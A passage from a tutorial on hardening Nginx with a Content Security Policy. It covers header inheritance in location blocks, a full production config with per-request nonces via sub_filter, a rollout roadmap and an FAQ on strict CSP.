5. add_header Inheritance Gotcha

Headers get overwritten in nested locations nginx
location / {
    add_header Content-Security-Policy "..." always;
    add_header X-Frame-Options "DENY" always;
}

location /assets/ {
    # WARNING: This REPLACES parent headers, not adds to them!
    add_header Cache-Control "public, immutable" always;
    # CSP and X-Frame-Options are now MISSING here!
}

Solution: Use include snippets to share headers across locations.


Complete Production Example

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    listen [::]:443 ssl;
    http2 on;
    server_name example.com;
    
    root /var/www/example.com;
    index index.html;
    
    # ================================================
    # CSP Nonce Setup
    # ================================================
    set $cspNonce $request_id;
    sub_filter_once off;
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;
    
    # ================================================
    # Build CSP Header
    # ================================================
    set $csp "default-src 'none'; ";
    set $csp "${csp}script-src 'self' 'nonce-${cspNonce}' 'strict-dynamic'; ";
    set $csp "${csp}style-src 'self' 'nonce-${cspNonce}'; ";
    set $csp "${csp}img-src 'self' data:; ";
    set $csp "${csp}font-src 'self'; ";
    set $csp "${csp}connect-src 'self'; ";
    set $csp "${csp}worker-src 'self'; ";
    set $csp "${csp}object-src 'none'; ";
    set $csp "${csp}base-uri 'none'; ";
    set $csp "${csp}frame-ancestors 'none'; ";
    set $csp "${csp}form-action 'self'; ";
    set $csp "${csp}upgrade-insecure-requests; ";
    set $csp "${csp}report-uri /csp-report; ";
    set $csp "${csp}report-to csp-endpoint";
    
    # ================================================
    # Security Headers
    # ================================================
    add_header Reporting-Endpoints 'csp-endpoint="/csp-report"' always;
    add_header Content-Security-Policy $csp always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
    add_header Cross-Origin-Opener-Policy "same-origin" always;
    # Note: require-corp is strict - external resources (fonts, CDNs) must provide
    # CORP/CORS headers. Use "credentialless" for broader compatibility.
    add_header Cross-Origin-Embedder-Policy "require-corp" always;
    add_header Cross-Origin-Resource-Policy "same-origin" always;
    
    # ================================================
    # Routes
    # ================================================
    location / {
        try_files $uri $uri/ =404;
    }
    
    # CSP Violation Reporting Endpoint
    location /csp-report {
        access_log /var/log/nginx/csp-report.log;
        return 204;
    }
    
    # Static assets with relaxed CORP for social media
    # Note: add_header in location blocks overrides parent-level headers,
    # so we must re-include essential security headers here
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable" always;
        add_header Cross-Origin-Resource-Policy "cross-origin" always;
        # Re-include essential security headers
        add_header X-Content-Type-Options "nosniff" always;
        add_header Referrer-Policy "strict-origin-when-cross-origin" always;
        add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    }
}

Your CSP Journey: Summary

CSP Implementation Roadmap
  1. Start simple — Deploy default-src 'self' in report-only mode
  2. Add directives progressively — Scripts, styles, images, etc.
  3. Handle inline scripts — Move to files, use hashes, or implement nonces
  4. For static sites — Use Nginx sub_filter for nonce injection
  5. Go strict — Add 'strict-dynamic', object-src 'none', base-uri 'none'
  6. Set up reporting — Monitor violations with report-uri / report-to
  7. Enforce gradually — Switch from report-only to enforcement after testing
  8. Maintain and iterate — Keep monitoring, update as your app evolves

Frequently asked questions

What is the simplest CSP to start with on Nginx?

Add the single header `add_header Content-Security-Policy "default-src 'self'" always;` to your server block. This tells the browser to only allow resources from your exact origin (same scheme, host, and port), immediately blocking external scripts, inline scripts, and inline styles.

Why are nonces better than domain allowlists for CSP?

Google research bypassed 94.72% of all distinct CSP policies, and 75.81% of them rely on script allowlists an attacker can bypass, because trusted CDNs often host JSONP endpoints, open redirects, or script gadgets that attackers abuse. Nonces are cryptographically random per-request tokens that an attacker cannot guess, so they provide real XSS protection regardless of which libraries are loaded.

How can static sites use nonces if HTML is built ahead of time?

Put a placeholder like `CSP_NONCE_NGINX` in your templates at build time, then have Nginx generate a unique nonce per request with `set $cspNonce $request_id;` and replace the placeholder using `sub_filter`. The same `$cspNonce` value goes into the CSP header, so the nonce in the HTML and the header always match.

What does 'strict-dynamic' do in a CSP?

`'strict-dynamic'` lets scripts loaded by an already-trusted script also execute without needing their own nonce, so trust propagates down the chain. When it is present, allowlist sources like `'self'` or specific domains are ignored for script loading—only nonces and hashes grant initial trust.

Which directives are required for a strict CSP?

A strict CSP uses nonces or hashes instead of domain allowlists, includes `'strict-dynamic'` for dynamic script loading, sets `object-src 'none'` to block plugins, and sets `base-uri 'none'` to prevent base tag injection.

How should I deploy CSP safely without breaking my site?

Never deploy strict CSP directly to production. First run it in `Content-Security-Policy-Report-Only` mode for one to two weeks to log violations without blocking, fix issues like inline event handlers and `eval()` calls, then switch to enforcement gradually.